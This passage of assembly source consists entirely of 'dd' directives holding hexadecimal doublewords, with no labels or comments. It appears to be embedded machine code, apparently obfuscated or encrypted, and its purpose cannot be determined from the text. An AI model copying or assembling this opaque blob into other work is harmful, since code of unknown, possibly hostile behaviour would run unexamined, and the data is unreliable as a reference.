		dd 9C57D05h, 6A3F8Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 32EFD0C3h, 0F38EB2C0h, 51006AAAh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 8B2A0B0Ch, 50414935h, 55006A53h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0DD1C1EA7h, 0C60846FBh
		dd 0E707F985h, 0BF0F4705h, 0C7DC68D1h, 3481EAA9h, 7F4FF024h
		dd 25958936h, 0FF05E72Eh, 0E72DC5B5h, 0BE905h, 0C49C0000h
		dd 1F24A56Ah, 2792972Ah, 63858DF7h, 6005EA79h, 206DB58Bh
		dd 0FF6105E7h, 51006AD0h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 579C2A82h, 5ED68B66h
		dd 2DDD8589h, 958B05E7h, 5E70C01h, 7F985C6h, 685305E7h
		dd 0B8432A7Fh, 212FBA66h, 83243481h, 6630DB40h,	0B5FFD08Bh
		dd 5E72DC5h, 0D1D68166h, 63858D7Fh, 0F805EA79h,	6E9D0FFh
		dd 9B000000h, 8548CD81h, 6C858D8Dh, 6A05EA38h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 2583C350h, 8338AAF1h, 1BDDB58Bh, 11E905E7h, 38000000h
		dd 6295445h, 12BF2A77h,	11D81A10h, 0E91D0418h, 21858589h
		dd 9D0105E7h, 5E72091h,	0FF6A206Ah, 218595FFh, 493505E7h
		dd 0C7535041h, 0E70D4D85h, 105h, 4185C700h, 5E715h, 60000000h
		dd 7E8h, 49311C00h, 18FD0CEDh, 0F5F6160h, 68Ah,	399D2900h
		dd 6105E72Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	0F6C35747h, 820ABC88h, 3D5F85E2h, 8B66518Eh, 0BD835AD3h
		dd 5E73301h, 3D840F00h,	52000000h, 2E69958Bh, 8B5A05E7h
		dd 0E7002585h, 0FD9D2905h, 6405E704h, 0A3h, 0DE900h, 1ACF0000h
		dd 0B33186FDh, 1589CE0Eh, 8B176339h, 0E709AD85h, 5AF95705h
		dd 958BE08Bh, 5E701CDh,	2191BD83h, 0F0005E7h, 38585h, 0F985C600h
		dd 5605E707h, 62D8501h,	4E805E7h, 0DF000000h, 0E8A9C530h
		dd 7, 18B4899Fh, 0B200E151h, 8B505E5Ah,	24448BD3h, 0D38B6604h
		dd 880F008Bh, 0
		dd 4244489h, 0E58A6052h, 5A61CE8Bh, 0FF5DB258h,	0E72DC5B5h
		dd 91DA8105h, 8D59C240h, 0EA796385h, 0D38B6605h, 7CBED0FFh
		dd 502044CBh, 11E9h, 281B9800h,	0C641AD04h, 0C1BAF195h
		dd 5BA420E6h, 489CC2Dh,	22F68124h, 8D0B3297h, 0E70E318Dh
		dd 8B669105h, 8D0F50D0h, 0Eh, 9E9h, 0D734FF00h,	0AB2C715h
		dd 29916338h, 0E71C6985h, 4DBD8905h, 6A05E72Ah,	11E96004h
		dd 0D0000000h, 4FFB044Eh, 72EE8489h, 0EC72C644h, 8765EE01h
		dd 61DF8B66h, 0BE179368h, 2840FDEh, 8A000000h, 240481F3h
		dd 2141F86Dh, 36E28166h, 9DB5FFFEh, 0F05E704h, 58Dh, 0B96BE00h
		dd 0D0FF664Ch, 31BCD7BEh, 9DBD8B5Dh, 0B05E704h,	0E71A0595h
		dd 3C7F0305h, 0CB0BA66h, 0F8C781h, 0B58B0000h, 5E72121h
		dd 202447C7h, 83600000h, 0EE6A47BDh, 840F0005h,	13Dh, 6A28C783h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0AFEBC356h, 7D958B22h, 0C705E71Fh, 696A2E07h
		dd 51006A64h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 447C7E7h, 617461h, 27B5958Bh, 858B05E7h
		dd 5EE6A4Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	25C35646h, 89D2F797h, 6A0C47h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 814098C3h
		dd 8D2D82CAh, 53858B46h, 0F505EE6Ah, 6A084789h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0B781C356h, 0AFCF73A7h, 21F1B58Bh, 0C78305E7h, 3DB58B28h
		dd 0C705E703h, 6F632E07h, 0F1B58B6Eh, 6605E712h, 47C7D38Bh
		dd 67696604h, 0AE900h, 40760000h, 0C2A1AA40h, 0C15CDA2Eh
		dd 6A4B858Bh, 0CE905EEh, 92000000h, 0FE2D4DE7h,	259B1523h
		dd 66E2D1D9h, 4789F38Bh, 2DBD890Ch, 8B05E72Ch, 0EE6A4785h
		dd 95958905h, 8B05E725h, 0E70165B5h, 8478905h, 0A892B7BEh
		dd 0B58B583Ch, 5E70275h, 33658D8Dh, 8D8905E7h, 5E72349h
		dd 66606091h, 6661CB8Bh, 5061D78Bh, 0F525056h, 86h, 0BA310F00h
		dd 2D16C3D5h, 915A585Ah, 13E9h,	0DB19B800h, 4D085671h
		dd 29D88298h, 0CFEECB62h, 0FA5806F0h, 0E31B5FFh, 6A05E7h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 410169C3h, 8B2908D2h, 0E7224995h, 4E805h, 10000000h
		dd 56500000h, 8B5ED68Bh, 8B042444h, 66008BF7h, 89B56EBEh
		dd 0E8042444h, 0Ah, 2D1E06CEh, 0AD15C591h, 0CE9B4C8h, 0
		dd 0F53AEB03h, 7A811E12h, 5A06E99Ah, 0C0BA6658h, 9DB5FF5Ah
		dd 6A05E704h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 5776C351h, 815E03B2h, 0DDF647C6h
		dd 19858927h, 0FF05E707h, 50006AD0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 258B2661h
		dd 39735949h, 2241B58Bh, 0B805E7h, 66000000h, 0C00BF38Bh
		dd 3F840Fh, 0CE90000h, 8F000000h, 7B252DEAh, 0CA3A3E18h
		dd 0FF76F566h, 0E70CE5B5h, 0CD95FF05h, 6A05E732h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0C139C355h, 0AFEE8166h, 8BC08B75h, 79BD83F2h, 5E70Dh
		dd 0BD830975h, 5E71C15h, 50197400h, 0B8C08B53h,	42Dh, 0F2D8589h
		dd 9D8D05E7h, 5E9AA9Bh,	585BD3FFh, 1C15BD83h, 740005E7h
		dd 0B8535017h, 42Dh, 0F2D8589h,	9D8D05E7h, 5E9A73Ch, 585BD3FFh
		dd 78B0Fh, 8A600000h, 0D2B70FE7h, 6850F61h, 8B000000h
		dd 0E7215995h, 89C08B05h, 0E72825B5h, 0EBC08B05h, 33210A04h
		dd 543E943h, 0B5E30000h, 0AAE04F81h, 0B2FF4484h, 0AEF9468Ah
		dd 0CDF5428Eh, 4372438Dh, 351B236Fh, 351B236Eh,	331D3D6Eh
		dd 0CE022464h, 7ACEEBFBh, 79C69B93h, 0ACFF400Ah, 185BB288h
		dd 0A80D354Eh, 0C375E2C0h, 146A4A5Dh, 0D81B6435h, 0DBF3D3F5h
		dd 9ED8A763h, 598D722Ah, 0B1C55465h, 136F4E9Fh,	9AA5FA24h
		dd 62D693B3h, 61C375EEh, 2209C710h, 89F6C4EAh, 7363BF9Fh
		dd 87DBE32Ch, 226847A6h, 0A2E54A1Ch, 0FA403B8Bh, 9AEBF241h
		dd 0F198675Bh, 74517BC9h, 7538DFA1h, 0BA8BD4C3h, 3F1F0F10h
		dd 0E22B70FCh, 0E4210EC2h, 8289F6C4h, 8B5064BAh, 4868BD0Fh
		dd 5391BB80h, 25045A7Ah, 2BD712DDh, 0C91A3D92h,	69BB00F5h
		dd 0A322C375h, 3A33D27h, 57A167D9h, 25000000h, 6547A52h
		dd 75E2CFB3h, 706C5AC3h, 0D9257658h, 4599A1EEh,	822CAA31h
		dd 8A9E38ABh, 67D98E1Ah, 12Ah, 7852BC00h, 0C4BE6953h, 0BB841BDAh
		dd 35010C13h, 6FBF88F6h, 0EC2F074Fh, 9E4AE9DFh,	58A98D9Ch
		dd 0F3DA251Dh, 0A9208FD3h, 0AB8B8321h, 0A88E9EA5h, 6452E0A0h
		dd 0EF3F0856h, 6CDFF3CFh, 0EAD0DE6Ah, 3A8648E0h, 8E20BEC9h
		dd 0B29AA1AFh, 2E064EACh, 97B6D626h, 38026BB7h,	8AE9C6C3h
		dd 9E3B7AA7h, 0C375322Ah, 0B38FD829h, 0FEE2E4A7h, 67D8BC76h
		dd 9576h, 64527000h, 90580856h,	75E2B305h, 0D8FE2EC3h
		dd 89DAAB82h, 7D4179A6h, 0B5E2D12Ch, 9FCEB985h,	5961A9FBh
		dd 587EA8F7h, 18023E76h, 48019C65h, 0E32A156Dh,	0EEB38BC3h
		dd 0AEAA47D2h, 0FB675B9Ah, 0D27DB6D0h, 0A188D6E4h, 5F4DD742h
		dd 26EE67D9h, 5BEF5C0Eh, 53109134h, 0C37560EDh,	0ED5695E6h
		dd 52h,	566452F9h, 5905808h, 0C375E2B3h, 290467B0h, 2FEDCFCh
		dd 0F8D8CD52h, 7BAC2ABDh, 0E29266B3h, 4D68C375h, 0C375E2FBh
		dd 8DDEAFF8h, 675743AEh, 785239E9h, 0CCB1045Ah,	53C375E2h
		dd 12829630h, 0C367D98Eh, 0CC8E016Bh, 30735541h, 14Bh
		dd 6A351F00h, 0ED3C0220h, 56A48A82h, 0D0D93477h, 63A592E8h
		dd 2D330B43h, 2F320076h, 457949A4h, 0BB5AB58Dh,	82EF9A63h
		dd 3A9630A3h, 6403CD0Dh, 0E8CD8588h, 0C95DF13Bh, 0A493EF38h
		dd 0A18E4264h, 6B7B4767h, 6ADEFBA3h, 69C69DF1h,	0F1D55B18h
		dd 9DEEC69Dh, 0F175F95Eh, 6C5FC69Dh, 0E8CEDE6Ah, 0EDF1DB60h
		dd 4066A691h, 0E5E5567Ah, 0EF614547h, 3D470F27h, 0A3367F86h
		dd 39744569h, 0F15CF262h, 181D261h, 0B0880000h,	0E59451BFh
		dd 0C410F61Dh, 67E63F27h, 3583D716h, 0DF1E3C6Ah, 1494CA0h
		dd 5CF747B4h, 86FDB5C9h, 7F97A7BCh, 0CE1FECCFh,	0A18587F0h
		dd 0AF8880AFh, 0D4F58FF0h, 3B07505Ch, 0A4FADCCCh, 0ED3F5B00h
		dd 56B59BBBh, 61F1E5BEh, 0F74BC77Fh, 0BCBC9F72h, 65BDED17h
		dd 93D27C72h, 912Ah, 929FA000h,	21F4BAAh, 11A42EEDh, 0C375E37Fh
		dd 7768B58Dh, 85E16875h, 75E64830h, 297A4BC3h, 3AF66BD1h
		dd 0F530DD96h, 0B09F3700h, 0BE62B49Ah, 53FB71EBh, 0DB9EE0C3h
		dd 0C3754755h, 0FA073FA7h, 245FE3F5h, 0CDCD9CDFh, 36163718h
		dd 1923C8F7h, 0EC320836h, 3850D89Dh, 253C375h, 0C4D19931h
		dd 0C375387Ch, 8FC72677h, 7539962Ah, 8ADC2DC3h,	9F3A63A5h
		dd 0C3753829h, 0AD88D92Ah, 0A1F4A7h, 63E0000h, 51752179h
		dd 43F72971h, 0D5E7EA9h, 0EE02B82Eh, 0DAFFA72Fh, 0C375E256h
		dd 95211C6Dh, 5CE81B00h, 0B38FD8C9h, 0EE624444h, 1B674741h
		dd 92E5DFA6h, 14B2F9C6h, 7B434CD3h, 0EF330B34h,	58705F9Eh
		dd 63E0CA7Fh, 0E67078BDh, 0DB2E701Eh, 4880D1C9h, 76583DB3h
		dd 9CDFFF29h, 39D9C3D6h, 4892CC83h, 0A70C4447h,	0A47F244Dh
		dd 78B7362Ch, 0D080DE2Fh, 6B3DCC58h, 4149B9D7h,	0FBC42579h
		dd 11C29CA3h, 0C82BD893h, 0CB83A3E5h, 0C11D3964h, 1B58DE8h
		dd 30BC3C5Ah, 4C50656Dh, 7C2B13Ah, 35761A36h, 3C02206Ah
		dd 0FDF38EEDh, 0A18EB618h, 127B4767h, 542676D3h, 0EC3DC964h
		dd 4767A18Eh, 4C7AC589h, 9AD9300Eh, 6DB195B7h, 0BD48D188h
		dd 0BDDD8C0Fh, 0B1193D6Fh, 2A442C89h, 0E5F8FBEh, 0B57D212Fh
		dd 0BE2A9860h, 0E157628Fh, 0E28FBE2Ah, 0AFF7C091h, 5BC01285h
		dd 8FE2C196h, 7D65B99Dh, 0B83415C5h, 6A4988E3h,	7C590407h
		dd 8FBE84F4h, 9E64BE8Fh, 7BC48998h, 0DFE33F08h,	56D81F17h
		dd 1E6CB6FDh, 0BE0A8CDFh, 0BB80486Eh, 6A714D91h, 3, 526F23BCh
		dd 3D0A5066h, 88F7CBEBh, 105FA383h, 0E2CD1125h,	4FB886B4h
		dd 0D8277B43h, 0A691EDF1h, 327D4179h, 2E43A18h,	550168h
		dd 24148900h, 399C68h, 24348900h, 476B68h, 241C8900h, 2D11BA52h
		dd 4A4231EFh, 81DAF74Ah, 0FEA341F2h, 8BD689CBh,	0C4812414h
		dd 4, 241C8B54h, 4C481h, 94680000h, 89000023h, 438F2434h
		dd 2434FF08h, 4C4835Bh,	5E2434FFh, 4C481h, 88E90000h, 22FFF906h
		dd 0CD429C54h, 768FB88Bh, 0C50305EEh, 0D0C5E0FFh, 0F29A01A4h
		dd 0ED2A57B6h, 0B3C466C6h, 6D6873ACh, 2F5E2827h, 25B61105h
		dd 39A22A24h, 0D50A303Ch, 9F883625h, 51804746h,	0B40D001Bh
		dd 0C7876665h, 7B15253Eh, 2F77217Ch, 0CDF367E2h, 0DFED03F8h
		dd 0FE1E54E9h, 994A76F9h, 3D4574Eh, 43760F56h, 3AE16D66h
		dd 83BF1A5Eh, 55431367h, 93B16FE6h, 3B9768DFh, 3DA3595Ch
		dd 0B0F2169Dh, 599636A8h, 89B25652h, 0ACA35928h, 4EB064Dh
		dd 65BE0B9h, 5B9E9h, 0ECEAD600h, 0D7F7D77Ch, 0D5E5D279h
		dd 0D9FD2C7Bh, 0D8FE2877h, 4216AD70h, 5DEA6654h, 5DEA6656h
		dd 5BE06848h, 0CEE36D71h, 954F3184h, 5944C69Bh,	547A5261h
		dd 0C9F13906h, 4D6DBE81h, 17DD1871h, 0E03E0008h, 398B597h
		dd 0EFFBA0C0h, 7E5C4EA1h, 0A4E6D12Dh, 9CCFB886h, 217EAEFAh
		dd 75402C94h, 85D627C3h, 96B49B4Bh, 0D1E75B0h, 4B73232Dh
		dd 40423683h, 7041C375h, 7540CDB3h, 0B6F5C6C3h,	0C52725Bh
		dd 0FAC0F423h, 0D77515C6h, 2D7AD6F6h, 3287DBFBh, 0C375404Dh
		dd 309B1D0h, 67D8EC91h,	6EB3h, 7A523700h, 1D61414Ah, 379FE3CCh
		dd 0C31F3F68h, 582E8BEAh, 0C5C375E2h, 0B189B699h, 7D676372h
		dd 67D98EE3h, 3E1E0F10h, 106FFh, 52400000h, 734E5378h
		dd 6995F5E7h, 0D1F5C218h, 4B42ADF1h, 0F0CB636Bh, 44E1BD62h
		dd 0FF48B6F5h, 139EAECh
		dd 13831652h, 85E8CB4Fh, 629A181h, 0C2CB2604h, 6E4D9CE2h
		dd 4D7355E2h, 0C6277B5Bh, 35B75BF5h, 0E2C0A80Dh, 0FBC3C375h
		dd 4AA19D3Ch, 0D921722Eh, 83F1A16h, 6A49A4D4h, 90C01E3Ch
		dd 67BB838Fh, 0C2C82706h, 410A9EFCh, 0E6BFEB39h, 75596DD3h
		dd 0DA1566C3h, 4E82D3F3h, 0BB87A7E1h, 9F4132Bh,	25FF29C9h
		dd 9EBEEBC6h, 0D3F79440h, 0D95767C9h, 920567h, 52410000h
		dd 0D37C5664h, 0A896D5F9h, 606A525Fh, 0A8A7F8C8h, 0B906587Eh
		dd 0F6C82BB2h, 0E8385E09h, 0EBB098BEh, 74439FBFh, 1F3F6F55h
		dd 8AD0E6D0h, 0C00C52A3h, 0E25A8F0Bh, 0E7AA9279h, 4F3184E5h
		dd 44C375C2h, 5CCB2A7Bh, 67D96CD4h, 0EAD0DE61h,	55328Bh
		dd 87A80000h, 6941BC98h, 8566452h, 0E6D0EE3Fh, 60CF87D0h
		dd 0DF3E0036h, 0C2028458h, 581C13Ch, 0DF874046h, 483E8217h
		dd 0E435C375h, 7548B90Fh, 0A69BAC3h, 2ECAFB27h,	5A3031CEh
		dd 7D2D230Ch, 45A7852h,	75E2CCB1h, 963053C3h, 0D98E1282h
		dd 13267h, 52B40000h, 59095565h, 6D1DCBE1h, 0EBC21838h
		dd 0F039E493h, 684E5EB5h, 0DDFD6E12h, 8ABC1028h, 2D03990Bh
		dd 87A5B6D5h, 0C0237703h, 808AA4EDh, 7F5F4FA2h,	57F9CA23h
		dd 0E8B85498h, 83604FF7h, 3CB83ECh, 0F9C5F13Ch,	159B3E90h
		dd 2EC3751Eh, 8C399EDDh, 69C95DEFh, 0D3F5C218h,	0CF592F8Ah
		dd 95AC69Dh, 10B1038h, 961CE13Dh, 80C69DCFh, 521ACFCBh
		dd 9DCFF147h, 42A1F2C6h, 37193D6Fh, 0C01E2068h,	0ADF1D5F7h
		dd 94345219h, 29BE92B4h, 61F161B7h, 1A295h, 0EE02D100h
		dd 748FA72Fh, 4E07B1ECh, 965E1457h, 41BC9C89h, 5CAA9B98h
		dd 734F98C9h, 0E5D1DC63h, 0E76EB099h, 3E336C13h, 0BDEFC221h
		dd 0BAB59887h, 8BA5834Ah, 59F7C011h, 60C8ED95h,	63C69200h
		dd 0ACFCD312h, 414BB48Ah, 21D81674h, 0E3CCFE90h, 5066509Fh
		dd 0CBEB3D0Ah, 0BA80A6E4h, 0B2FC9ACDh, 0D613B724h, 0A1DC865Eh
		dd 0E9C0D1DCh, 6B4298A0h, 0DDE32508h, 3698E9C9h, 8CC5AB0Eh
		dd 8DDEC692h, 8C08F0C5h, 3A0BC692h, 0FE9675FBh,	0CE61F220h
		dd 40h,	2EED0298h, 0AFAF9BA4h, 965E064Ch, 75E2BD03h, 665B6C3h
		dd 75E30FA1h, 75BA4C3h,	75E2CEB2h, 3B5F0CC3h, 795132B9h
		dd 75E3045Ch, 3B9E46C3h, 0C375E2B5h, 4D3E7D4Eh,	0D02BEC7Ch
		dd 7F000000h, 948D7D35h, 0B47302A0h, 0E4566762h, 211C6422h
		dd 74F4EA2h, 5C6A6DB2h,	0D7106AC9h, 2F8FECE3h, 0E9007D45h
		dd 7B04DBDDh, 0A1EBD42Ah, 0D76FD1E4h, 1B64C692h, 8BD7F7D4h
		dd 0D67951A2h, 0BD8AD0F6h, 1B724868h, 0DE65EBCAh, 2F92E8CEh
		dd 0C692D654h, 101F2070h, 0BEEBFF2Dh, 0C32C2D42h, 1C4FAEFFh
		dd 0D8FE2E7Ah, 4242BEF6h, 8FD41E25h, 0C01AB39Ah, 76644F8h
		dd 0C1BE32C9h, 3E90E1D9h, 83639C9Bh, 764495CCh,	73461F09h
		dd 0C8A0538Dh, 5F282E18h, 0C7F7230Eh, 94192FBh,	12E14331h
		dd 79D86603h, 28BD334h,	9266B38Fh, 91C8A059h, 0CA347740h
		dd 36113EB6h, 82E1C816h, 0A745B7D3h, 59B63A9Fh,	7C4DC8A0h
		dd 231EBB13h, 10C2B1E1h, 25909C7h, 390831EEh, 0B1E255C3h
		dd 95AABB5h, 8DADFE41h,	654546B1h, 88E73019h, 0A63BF9Fh
		dd 2B16A32Bh, 28C964CDh, 4CD383DFh, 0DB367541h,	3DE5EDF1h
		dd 9AEC1098h, 0E3C213C6h, 0EA89A16Dh, 4A3E9B5Eh, 49C69A01h
		dd 1D082678h, 301877B6h, 0F66DD02Eh, 7DC2C4CAh,	0CB340A2Ah
		dd 0FA3FFDFh, 39F03A5Ch, 0B09828AEh, 0ADF2A2AEh, 25045A7Ah
		dd 9DA1EBC6h, 0E577641h, 0D10AC5ABh, 0BC8DDECAh, 9B15A5Eh
		dd 785391BBh, 19C50B54h, 0AFC4451h, 0A6F7CAD1h,	1C62424Bh
		dd 8983EECDh, 0DA652DA5h, 0BD8CD2F0h, 0D10A70F8h, 0CF2273CAh
		dd 47BBFAC2h, 0A14h, 73234200h,	84DAFC2Ch, 521046A5h, 3D0A5066h
		dd 88F7CBEBh, 105FA383h, 0E2CD1125h, 4FB886B4h,	0D8277B43h
		dd 0A691EDF1h, 327D4179h, 2E43A18h, 81E78957h, 4C7h, 4BE5600h
		dd 29000000h, 3C875EF7h, 0BC685C24h, 89000021h,	89502414h
		dd 405E0h, 0E8830000h, 24048704h, 241C895Ch, 7DDEBB53h
		dd 0A6BA2415h, 3130030Dh, 0EA815BDAh, 0E27F8F4h, 8904EC83h
		dd 4812424h, 424h, 0EC835B00h, 24148904h, 0B2242C81h, 8F1F0751h
		dd 43810843h, 751B208h,	2434FF1Fh, 4C4835Bh, 5A2434FFh
		dd 4C481h, 48E90000h, 47FFF900h, 2FAE5055h, 0D73EFF7Eh
		dd 0D3ED066Fh, 0AFB8EA56h, 305EE7Ch, 4EE0FFC5h,	63268CBAh
		dd 22F8400h, 0B307BC80h, 1170724Ch, 61150463h, 766707ADh
		dd 0B468D1CAh, 0EB02156Fh, 65B83404h, 539E96Ah,	0F5230000h
		dd 0EA200FC1h, 0F23F04C4h, 0EE3906CAh, 0D3502CEh, 3B203CDh
		dd 0F55B63AFh, 0F55B63AEh, 0F35D7DAEh, 8E4264A4h, 0BA0EAB3Bh
		dd 0B9C69B9Fh, 6A351C4Ah, 0EF3E1C22h, 4767A18Ch, 13D36B7Bh
		dd 587C2204h, 0AA94FB3Ah, 31153AACh, 561ED211h,	0BFFEDEC9h
		dd 8567850h, 0EAD7ED3Fh, 0ABF4C2CCh, 133B045Ah,	5200EF33h
		dd 252392AAh, 0D6E078B8h, 7523AF11h, 17312DC3h,	0BFABF5ACh
		dd 0F5E9DEEh, 0CFEF398Bh, 4D91B887h, 7055E26Eh,	7A53F850h
		dd 169E3F53h, 7243DB81h, 0AC9BA42Ch, 387B52A8h,	90EEEED5h
		dd 0AE5B7FECh, 5AA6296h, 75DFC8B0h, 0A0FACBC3h,	0AA89F8D3h
		dd 0EA664647h, 176B4B5Dh, 81B5E04Fh, 3B70C5A2h,	0FCEFC375h
		dd 0B55EF6DAh, 736E67D8h, 78000000h, 63A07D35h,	97D2BFBDh
		dd 0F2F7954h, 2FF84E33h, 7965C375h, 8FD3EBD6h, 6A6C7FBEh
		dd 0D8C1EE66h, 1DE67h, 52E80000h, 5C045A78h, 1ECE1EE4h
		dd 0FBD2280Eh, 71F57A3h, 0FDDDC924h, 9022DD5h, 10E44C29h
		dd 0A7FFC375h, 0AAD2AEEBh, 40A38C9Bh, 3616317Eh, 0DF571FE8h
		dd 0EF107135h, 0FFEECDD2h, 7D5D49DBh, 624444D3h, 0E2DAC768h
		dd 7CBF9F8Fh, 6452D0F0h, 0E6D37C56h, 42A188D6h,	3B1B337Ch
		dd 0AEB098E7h, 2386750h, 88D62717h, 0EF5377E4h,	0DA7610DBh
		dd 6D64E7ECh, 0EDB251D1h, 2365CA9Ch, 8FEE3F03h,	5CA59D41h
		dd 15351607h, 759EE0C9h, 311C5F10h, 0FBEB3717h,	0D517554h
		dd 79BBDA3Ch, 192FA3A0h, 8BCAF7DAh, 887EB5B3h, 70350FF7h
		dd 0C3753088h, 1569BA8Bh, 438402C9h, 0AB8AACFCh, 0D8BA74FCh
		dd 6DBE8167h, 92956E4Dh, 0D1000000h, 8566452h, 0F0D4F758h
		dd 0D6043AAh, 19E63404h, 0CEF8484Eh, 0CFFB4088h, 1F6FC78Fh
		dd 22081E6Ch, 0C7B47A6h, 79E5391Dh, 0C42C3452h,	0A067D95Dh
		dd 81h,	6B4E763Eh, 0C375DB85h, 0E84D9Eh, 3C375DBh, 35E7F332h
		dd 0E2C0A80Dh, 0F2C3C375h, 64525CB3h, 0DCFC2916h, 1F7C28Ah
		dd 2C375E2h, 0AC0DE931h, 0CFA77DC8h, 7EA592ECh,	1537005Eh
		dd 7A31ED31h, 0F5C1CC5Ch, 8B7740A9h, 88FB63DBh,	22D1A42Ah
		dd 5AF690C3h, 32E26E6Ch, 0D615256Dh, 5A785280h,	9B6D4870h
		dd 6C375E2h, 4552604h, 9F64D929h, 0EC375E2h, 0BF513B5Fh
		dd 8D67D98Eh, 1, 556552D9h, 0C8EE3E09h,	75FBDE86h, 0EC375E2h
		dd 0FC80FE3Dh, 0D0D96B6Fh, 658B60E8h, 4012EA0h,	288DC924h
		dd 0C95D137Bh, 0E4D32F78h, 0C882A4h, 92D3C3B5h,	0B4F7C0C6h
		dd 74BCF4B8h, 7579CBDFh, 8983EECDh, 310959A5h, 16D9B1CCh
		dd 12F736F1h, 0C692DDACh, 67C5C586h, 60CF0125h,	0A8380628h
		dd 58A68687h, 0CDDF3271h, 535EE1E9h, 0F736176Bh, 5274E78Bh
		dd 0BD9D8E91h, 0C62D0861h, 56EEE0C6h, 0AA7B3F2Ch, 13930BC5h
		dd 60E45612h
		dd 5418D417h, 4C4204DCh, 0E5207A5Ch, 194D7B1h, 61F1C98Fh
		dd 10CBDh, 0EE020900h, 2512A72Fh, 12C95CF7h, 95E9CDDFh
		dd 725275B4h, 0BDF5DD21h, 17E8D4D5h, 0FBD615ECh, 0F4438DD1h
		dd 43ACF2D4h, 75196549h, 2860C0C6h, 4BC5CA06h, 7961F274h
		dd 56h,	0A80D354Dh, 0C375E2C0h,	72BFF2C3h, 97546B4Ah, 0A1C7D2F4h
		dd 0C2C375E3h, 60C8ADF1h, 0AAC375E3h, 8C639139h, 5378C78Fh
		dd 93DE2F73h, 624B97A7h, 4A6E4B03h, 90C375E2h, 0E37BCDE8h
		dd 0B8E6C375h, 9C6DBC82h, 0B28370B3h, 4249D69Eh, 0E6C5247Ah
		dd 7CE7h, 0EE023300h, 47FFA72Fh, 9B70AA45h, 0E542A124h
		dd 0C95C45B0h, 73537AB5h, 0B18DDE2Fh, 0E8604646h, 19654943h
		dd 85A5E649h, 0B41550B9h, 0C69250C1h, 8622A4E7h, 4F6FBE86h
		dd 7C91A73h, 0F6D8F05Fh, 6A525FA8h, 85E43514h, 861BD9Dh
		dd 0BB5A962Dh, 0D4D68613h, 5CADCC83h, 3717317Eh, 8204D7EBh
		dd 339B7A76h, 0B252F6E6h, 0F0C58DC2h, 0D2B15208h, 5903A0Bh
		dd 0D2B152B3h, 3A1667B0h, 2FEE0216h, 604A12A7h,	40F8C964h
		dd 660C3E57h, 765476BFh, 0B9F0C128h, 14754971h,	0C71B64D9h
		dd 0B990D0F8h, 0BF844495h, 3E01496Dh, 93EFCEECh, 0EF78272Eh
		dd 9F3B5236h, 153B1B0Dh, 0E2381E0Eh, 4C92B295h,	8527A328h
		dd 0E1ADA383h, 0D684E5Eh, 0FAC0E626h, 15E1h, 0C51D1500h
		dd 76C018A8h, 359BCF2Eh, 27A5067Dh, 5D988424h, 66524307h
		dd 0EB3D0A50h, 8388F7CBh, 25105FA3h, 0B4E2CD11h, 434FB886h
		dd 0F1D8277Bh, 79A691EDh, 18327D41h, 6802E43Ah,	1689h
		dd 57240C89h, 0C781E789h, 4, 8704EF83h,	895C243Ch, 8968241Ch
		dd 8900001Bh, 6851240Ch, 68A41C91h, 60E0BB59h, 0CB019D4Ah
		dd 0C8B5459h, 4C48124h,	52000000h, 5189DA89h, 24148B08h
		dd 4C481h, 34FF0000h, 0C4815924h, 4, 56241C8Bh,	0C681E689h
		dd 4, 8704C683h, 0E95C2434h, 0FFF8FADBh, 7E5CA94Bh, 9BBAF30Eh
		dd 694CC070h, 0B84EEA66h, 5EE822Eh, 0E0FFC503h,	7AF00402h
		dd 479658A7h, 76515A94h, 2D874F3Ah, 56537FD8h, 0C4E70B1h
		dd 4291B21Eh, 3D135E6h,	4E381C37h, 21D5DBA5h, 0EE8h, 58B12A00h
		dd 0D239A23Fh, 2D7F5A10h, 8104B628h, 60ACE9F0h,	0EE85B3Dh
		dd 14000000h, 347A839Ah, 58804D60h, 2D76F864h, 0C3815FB9h
		dd 59E3h, 0B457C933h, 34FF58DCh, 5EC38B19h, 81F98B66h
		dd 348700EEh, 7B2B806h,	0C6815658h, 5172655Ch, 4AF4BF66h
		dd 6AA7C681h, 8E0F1B47h, 7, 1820Fh, 89F50000h, 0DE90B34h
		dd 0
		dd 114F137Ah, 7158A345h, 0C6B93FB5h, 0D7BF0F52h, 1E9835Fh
		dd 49C3B70Fh, 0AE84949h, 60000000h, 0BB2858F4h,	35467DAh
		dd 2880F1Fh, 8B000000h,	0F98158FAh, 0FFFFA6F4h,	14850Fh
		dd 840F0000h, 3, 0E9C28B66h, 20h, 834A1739h, 5E9132Ah
		dd 0FE000000h, 64FE3488h, 0FFFF65E9h, 0DAE570FFh, 5E616961h
		dd 0C959CFCDh, 6AE504EBh, 10E935F4h, 94000005h,	95A2AEA8h
		dd 90BF91B1h, 92B997A7h, 0EEB59BBBh, 6FB69AA0h,	20160058h
		dd 20140328h, 2A0A0328h, 2F0F1926h, 0F3C68021h,	0C69B610Dh
		dd 52A31706h, 3906547Ah, 3807C9F1h, 87F0CE10h, 0BFDD885h
		dd 8C375E2h, 0C090EE3Fh, 0FD7A3268h, 8675DCFh, 96FD381Eh
		dd 0FF4896B4h, 507DA8F7h, 0A28700B0h, 0ED3102A5h, 880EA19Ch
		dd 2CE1038h, 0F9D9CD52h, 10983DA5h, 13C3751Eh, 5FB2F1C2h
		dd 845704Eh, 751EDBADh,	0BE8FD8C3h, 132B1760h, 5CADFECFh
